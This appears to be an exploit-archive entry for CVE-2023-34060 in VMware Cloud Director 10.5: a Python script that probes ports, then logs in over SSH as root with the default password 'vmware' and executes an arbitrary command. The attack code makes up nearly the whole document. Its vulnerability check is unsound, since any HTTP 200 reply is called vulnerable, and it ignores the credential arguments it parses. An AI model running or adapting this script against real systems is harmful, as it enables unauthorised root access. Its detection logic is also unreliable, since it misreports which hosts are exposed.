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VMware Cloud Director 10.5 Authentication Bypass

VMware Cloud Director version 10.5 suffers from an authentication bypass vulnerability.

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# Exploit Title: [VMware Cloud Director | Bypass identity verification]# Google Dork: [non]# Date: [12/06/2023]# Exploit Author: [Abdualhadi khalifa](https://twitter.com/absholi_ly)# Version: [10.5]# CVE : [CVE-2023-34060]import requestsimport paramikoimport subprocessimport socketimport argparseimport threading# Define a function to check if a port is opendef is_port_open(ip, port):    # Create a socket object    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    # Set the timeout to 1 second    s.settimeout(1)    # Try to connect to the port    try:        s.connect((ip, port))        # The port is open        return True    except:        # The port is closed        return False    finally:        # Close the socket        s.close()# Define a function to exploit a vulnerable devicedef exploit_device(ip, port, username, password, command):    # Create a ssh client object    client = paramiko.SSHClient()    # Set the policy to accept any host key    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())    # Connect to the target using the credentials    client.connect(ip, port, "root", "vmware", allow_agent=False, look_for_keys=False)    # Execute the command and get the output    stdin, stdout, stderr = client.exec_command(command)    # Print the output    print(f"The output of the command {command} on the device {ip}:{port} is: {stdout.read().decode()}")    # Close the ssh connection    client.close()# Parse the arguments from the userparser = argparse.ArgumentParser(description="A Python program to detect and exploit the CVE-2023-34060 vulnerability in VMware Cloud Director")parser.add_argument("ip", help="The target IP address")parser.add_argument("-p", "--ports", nargs="+", type=int, default=[22, 5480], help="The target ports to check")parser.add_argument("-u", "--username", default="root", help="The username for ssh")parser.add_argument("-w", "--password", default="vmware", help="The password for ssh")parser.add_argument("-c", "--command", default="hostname", help="The command to execute on the vulnerable devices")args = parser.parse_args()# Loop through the ports and check for the vulnerabilityfor port in args.ports:    # Check if the port is open    if is_port_open(args.ip, port):        # The port is open, send a GET request to the port and check the status code        response = requests.get(f"http://{args.ip}:{port}")        if response.status_code == 200:            # The port is open and vulnerable            print(f"Port {port} is vulnerable to CVE-2023-34060")            # Create a thread to exploit the device            thread = threading.Thread(target=exploit_device, args=(args.ip, port, args.username, args.password, args.command))            # Start the thread            thread.start()        else:            # The port is open but not vulnerable            print(f"Port {port} is not vulnerable to CVE-2023-34060")    else:        # The port is closed        print(f"Port {port} is closed")

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